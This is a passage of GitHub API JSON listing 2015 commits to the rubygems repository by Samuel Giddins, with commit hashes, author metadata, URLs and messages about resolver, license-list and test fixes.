ddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"eda165a8392827d37e2024044bf314f8ee7d5069","url":"https://api.github.com/repos/rubygems/rubygems/commits/eda165a8392827d37e2024044bf314f8ee7d5069","html_url":"https://github.com/rubygems/rubygems/commit/eda165a8392827d37e2024044bf314f8ee7d5069"}]},{"sha":"eda165a8392827d37e2024044bf314f8ee7d5069","node_id":"MDY6Q29tbWl0NjE0MDcwOmVkYTE2NWE4MzkyODI3ZDM3ZTIwMjQwNDRiZjMxNGY4ZWU3ZDUwNjk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:02:35Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T05:02:35Z"},"message":"[Licenses] Fix identifier list alignment","tree":{"sha":"a0ac3094575460bdab03be34cd6d25feb9eb5b9e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a0ac3094575460bdab03be34cd6d25feb9eb5b9e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/eda165a8392827d37e2024044bf314f8ee7d5069","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/eda165a8392827d37e2024044bf314f8ee7d5069","html_url":"https://github.com/rubygems/rubygems/commit/eda165a8392827d37e2024044bf314f8ee7d5069","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/eda165a8392827d37e2024044bf314f8ee7d5069/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"364b903dd497ed7da6be5d0b7d48ed318cfee40d","url":"https://api.github.com/repos/rubygems/rubygems/commits/364b903dd497ed7da6be5d0b7d48ed318cfee40d","html_url":"https://github.com/rubygems/rubygems/commit/364b903dd497ed7da6be5d0b7d48ed318cfee40d"}]},{"sha":"6d11f3ef9a78c517bf87f509c9f96b5c1f28c08c","node_id":"MDY6Q29tbWl0NjE0MDcwOjZkMTFmM2VmOWE3OGM1MTdiZjg3ZjUwOWM5Zjk2YjVjMWYyOGMwOGM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T04:27:46Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-18T04:27:46Z"},"message":"[Specification] Add a spec for traverse only considering runtime dependencies","tree":{"sha":"3c4ea21f9fc3ba422d6c27c5e424fe334e938478","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3c4ea21f9fc3ba422d6c27c5e424fe334e938478"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6d11f3ef9a78c517bf87f509c9f96b5c1f28c08c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6d11f3ef9a78c517bf87f509c9f96b5c1f28c08c","html_url":"https://github.com/rubygems/rubygems/commit/6d11f3ef9a78c517bf87f509c9f96b5c1f28c08c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6d11f3ef9a78c517bf87f509c9f96b5c1f28c08c/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"5ee10d1d69cd28bdb81feb7755a4fc6070738e3f","url":"https://api.github.com/repos/rubygems/rubygems/commits/5ee10d1d69cd28bdb81feb7755a4fc6070738e3f","html_url":"https://github.com/rubygems/rubygems/commit/5ee10d1d69cd28bdb81feb7755a4fc6070738e3f"}]},{"sha":"5ee10d1d69cd28bdb81feb7755a4fc6070738e3f","node_id":"MDY6Q29tbWl0NjE0MDcwOjVlZTEwZDFkNjljZDI4YmRiODFmZWI3NzU1YTRmYzYwNzA3MzhlM2Y=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-15T06:46:55Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-15T06:46:55Z"},"message":"[Specification] Only include runtime dependencies in #traverse","tree":{"sha":"0b4dc70126275fdecc4a9605022fa0f2c0652bfa","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0b4dc70126275fdecc4a9605022fa0f2c0652bfa"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5ee10d1d69cd28bdb81feb7755a4fc6070738e3f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5ee10d1d69cd28bdb81feb7755a4fc6070738e3f","html_url":"https://github.com/rubygems/rubygems/commit/5ee10d1d69cd28bdb81feb7755a4fc6070738e3f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5ee10d1d69cd28bdb81feb7755a4fc6070738e3f/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"364b903dd497ed7da6be5d0b7d48ed318cfee40d","url":"https://api.github.com/repos/rubygems/rubygems/commits/364b903dd497ed7da6be5d0b7d48ed318cfee40d","html_url":"https://github.com/rubygems/rubygems/commit/364b903dd497ed7da6be5d0b7d48ed318cfee40d"}]},{"sha":"71a9824a0ba1f10a4cb9f5f7be44f1f4b10a7811","node_id":"MDY6Q29tbWl0NjE0MDcwOjcxYTk4MjRhMGJhMWYxMGE0Y2I5ZjVmN2JlNDRmMWY0YjEwYTc4MTE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-07T00:35:13Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-11-07T01:00:27Z"},"message":"[Resolver] Ensure platform sorting only uses strings\n\nThis fixes a bug where some objects that masquerade as specifications return\na `Gem::Platform` in `#platform` instead of a `String`, as `Gem::Specification`\ndoes. This causes the sorting to fail on, e.g. `Gem::Resolver::APISpecification`\nobjects.","tree":{"sha":"ee9026ee6389ea74be5dd36d0b1750152e6044e1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ee9026ee6389ea74be5dd36d0b1750152e6044e1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/71a9824a0ba1f10a4cb9f5f7be44f1f4b10a7811","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/71a9824a0ba1f10a4cb9f5f7be44f1f4b10a7811","html_url":"https://github.com/rubygems/rubygems/commit/71a9824a0ba1f10a4cb9f5f7be44f1f4b10a7811","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/71a9824a0ba1f10a4cb9f5f7be44f1f4b10a7811/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4e0518dab8c51c6ac074fb72df63bdd2729ff0f3","url":"https://api.github.com/repos/rubygems/rubygems/commits/4e0518dab8c51c6ac074fb72df63bdd2729ff0f3","html_url":"https://github.com/rubygems/rubygems/commit/4e0518dab8c51c6ac074fb72df63bdd2729ff0f3"}]},{"sha":"960b45b29adb512205fe39efe7fbb5b1dbf15e53","node_id":"MDY6Q29tbWl0NjE0MDcwOjk2MGI0NWIyOWFkYjUxMjIwNWZlMzllZmU3ZmJiNWIxZGJmMTVlNTM=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-07-27T06:34:57Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2015-10-04T22:29:00Z"},"message":"[Resolver] Update to Molinillo 0.4.0","tree":{"sha":"d5e51f51e599c41907fabff7ea92f339a7a55287","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d5e51f51e599c41907fabff7ea92f339a7a55287"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/960b45b29adb512205fe39efe7fbb5b1dbf15e53","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/960b45b29adb512205fe39efe7fbb5b1dbf15e53","html_url":"https://github.com/rubygems/rubygems/commit/960b45b29adb512205fe39efe7fbb5b1dbf15e53","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/960b45b29adb512205fe39efe7fbb5b1dbf15e53/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"4a778c9c2489745e37bcc2d0a8f12c601a9c517f","url":"https://api.github.com/repos/rubygems/rubygems/commits/4a778c9c2489745e37bcc2d0a8f12c601a9c517f","html_url":"https://github.com/rubygems/rubygems/commit/4a778c9c2489745e37bcc2d0a8f12c601a9c517f"}]},{"sha":"57c153811a9e573ba094191edefc12f5500675c3","node_id":"MDY6Q29tbWl0NjE0MDcwOjU3YzE1MzgxMWE5ZTU3M2JhMDk0MTkxZWRlZmMxMmY1NTAwNjc1YzM=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-07-16T05:37:47Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-07-16T05:37:47Z"},"message":"[Request] Handle Net::HTTPFatalError","tree":{"sha":"3ca291cefb5aad17a8e5315ef5fd9625f8f86e71","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3ca291cefb5aad17a8e5315ef5fd9625f8f86e71"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/57c153811a9e573ba094191edefc12f5500675c3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/57c153811a9e573ba094191edefc12f5500675c3","html_url":"https://github.com/rubygems/rubygems/commit/57c153811a9e573ba094191edefc12f5500675c3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/57c153811a9e573ba094191edefc12f5500675c3/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fcb182da96dea144cb65827fa5464e4a607234df","url":"https://api.github.com/repos/rubygems/rubygems/commits/fcb182da96dea144cb65827fa5464e4a607234df","html_url":"https://github.com/rubygems/rubygems/commit/fcb182da96dea144cb65827fa5464e4a607234df"}]},{"sha":"2fec00f8f562cbf6a45574f13d28600a66334901","node_id":"MDY6Q29tbWl0NjE0MDcwOjJmZWMwMGY4ZjU2MmNiZjZhNDU1NzRmMTNkMjg2MDBhNjYzMzQ5MDE=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:09:35Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:09:35Z"},"message":"Get rid of warnings in the tests","tree":{"sha":"cc1334b2d5fa482e7c0472f06c88cbde76717348","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cc1334b2d5fa482e7c0472f06c88cbde76717348"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2fec00f8f562cbf6a45574f13d28600a66334901","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2fec00f8f562cbf6a45574f13d28600a66334901","html_url":"https://github.com/rubygems/rubygems/commit/2fec00f8f562cbf6a45574f13d28600a66334901","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2fec00f8f562cbf6a45574f13d28600a66334901/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"704fb2781b1a206eba5b38633af74ae6ac784231","url":"https://api.github.com/repos/rubygems/rubygems/commits/704fb2781b1a206eba5b38633af74ae6ac784231","html_url":"https://github.com/rubygems/rubygems/commit/704fb2781b1a206eba5b38633af74ae6ac784231"}]},{"sha":"4864d23e46f1bf3331c1f2c4ad8a1f0463f2d413","node_id":"MDY6Q29tbWl0NjE0MDcwOjQ4NjRkMjNlNDZmMWJmMzMzMWMxZjJjNGFkOGExZjA0NjNmMmQ0MTM=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:03:37Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:03:37Z"},"message":"[Resolver] Update Molinillo to released 0.3.0","tree":{"sha":"9c15b8eedc82f06a5913b9ca224676ad3df691da","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9c15b8eedc82f06a5913b9ca224676ad3df691da"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4864d23e46f1bf3331c1f2c4ad8a1f0463f2d413","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4864d23e46f1bf3331c1f2c4ad8a1f0463f2d413","html_url":"https://github.com/rubygems/rubygems/commit/4864d23e46f1bf3331c1f2c4ad8a1f0463f2d413","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4864d23e46f1bf3331c1f2c4ad8a1f0463f2d413/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"0d3563fed591563019cfa4587c0a18fa57203e1f","url":"https://api.github.com/repos/rubygems/rubygems/commits/0d3563fed591563019cfa4587c0a18fa57203e1f","html_url":"https://github.com/rubygems/rubygems/commit/0d3563fed591563019cfa4587c0a18fa57203e1f"}]},{"sha":"0d3563fed591563019cfa4587c0a18fa57203e1f","node_id":"MDY6Q29tbWl0NjE0MDcwOjBkMzU2M2ZlZDU5MTU2MzAxOWNmYTQ1ODdjMGExOGZhNTcyMDNlMWY=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-16T04:30:21Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:01:22Z"},"message":"[Resolver] Update Molinillo by a commit","tree":{"sha":"3389031b6f3e8af828c76b0fc2aa245303ee1731","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3389031b6f3e8af828c76b0fc2aa245303ee1731"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0d3563fed591563019cfa4587c0a18fa57203e1f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0d3563fed591563019cfa4587c0a18fa57203e1f","html_url":"https://github.com/rubygems/rubygems/commit/0d3563fed591563019cfa4587c0a18fa57203e1f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0d3563fed591563019cfa4587c0a18fa57203e1f/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"26ae8c1053fc1f0bcdf6163c38563c6cfa551ac1","url":"https://api.github.com/repos/rubygems/rubygems/commits/26ae8c1053fc1f0bcdf6163c38563c6cfa551ac1","html_url":"https://github.com/rubygems/rubygems/commit/26ae8c1053fc1f0bcdf6163c38563c6cfa551ac1"}]},{"sha":"26ae8c1053fc1f0bcdf6163c38563c6cfa551ac1","node_id":"MDY6Q29tbWl0NjE0MDcwOjI2YWU4YzEwNTNmYzFmMGJjZGY2MTYzYzM4NTYzYzZjZmE1NTFhYzE=","commit":{"author":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-03-14T06:03:20Z"},"committer":{"name":"Samuel E. Giddins","email":"segiddins@segiddins.me","date":"2015-06-30T02:01:22Z"},"message":"[Resolver] Improve performance by using the exist set dependency 